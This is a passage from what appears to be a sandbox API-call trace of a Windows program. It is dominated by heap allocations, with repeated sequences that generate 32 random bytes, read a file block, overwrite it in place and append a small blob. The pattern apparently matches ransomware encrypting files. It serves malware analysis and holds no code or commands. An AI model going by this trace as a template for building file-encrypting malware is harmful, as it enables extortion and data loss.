| out: hHeap=0x540000) returned 1 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.028] GetProcessHeap () returned 0x540000 [0086.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f280 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.029] GetProcessHeap () returned 0x540000 [0086.029] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.029] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.029] WriteFile (in: hFile=0x8ec, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.031] WriteFile (in: hFile=0x8ec, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.031] GetProcessHeap () returned 0x540000 [0086.031] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33437c8 | out: hHeap=0x540000) returned 1 [0086.031] GetProcessHeap () returned 0x540000 [0086.031] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.031] GetProcessHeap () returned 0x540000 [0086.031] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.031] CloseHandle (hObject=0x8ec) returned 1 [0086.033] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 92 [0086.036] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.036] ReadFile (in: hFile=0x8f0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.036] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.036] GetProcessHeap () returned 0x540000 [0086.036] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.036] GetProcessHeap () returned 0x540000 [0086.036] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.036] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.036] GetProcessHeap () returned 0x540000 [0086.036] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33437c8 [0086.036] ReadFile (in: hFile=0x8f0, lpBuffer=0x33437c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.088] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.088] WriteFile (in: hFile=0x8f0, lpBuffer=0x33437c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.088] GetProcessHeap () returned 0x540000 [0086.088] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.088] GetProcessHeap () returned 0x540000 [0086.088] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.088] GetProcessHeap () returned 0x540000 [0086.089] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.089] GetProcessHeap () returned 0x540000 [0086.089] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.090] GetProcessHeap () returned 0x540000 [0086.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.091] GetProcessHeap () returned 0x540000 [0086.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.091] GetProcessHeap () returned 0x540000 [0086.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.092] GetProcessHeap () returned 0x540000 [0086.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.093] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.093] WriteFile (in: hFile=0x8f0, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.093] WriteFile (in: hFile=0x8f0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33437c8 | out: hHeap=0x540000) returned 1 [0086.093] GetProcessHeap () returned 0x540000 [0086.094] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.094] GetProcessHeap () returned 0x540000 [0086.094] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.094] CloseHandle (hObject=0x8f0) returned 1 [0086.095] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 94 [0086.095] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.095] ReadFile (in: hFile=0x8f8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.095] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.095] GetProcessHeap () returned 0x540000 [0086.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.096] GetProcessHeap () returned 0x540000 [0086.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.096] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.096] GetProcessHeap () returned 0x540000 [0086.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.096] ReadFile (in: hFile=0x8f8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.098] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.098] WriteFile (in: hFile=0x8f8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.098] GetProcessHeap () returned 0x540000 [0086.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.098] GetProcessHeap () returned 0x540000 [0086.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.099] GetProcessHeap () returned 0x540000 [0086.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.099] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.100] GetProcessHeap () returned 0x540000 [0086.100] HeapFree (in: hHeap=0x540000, 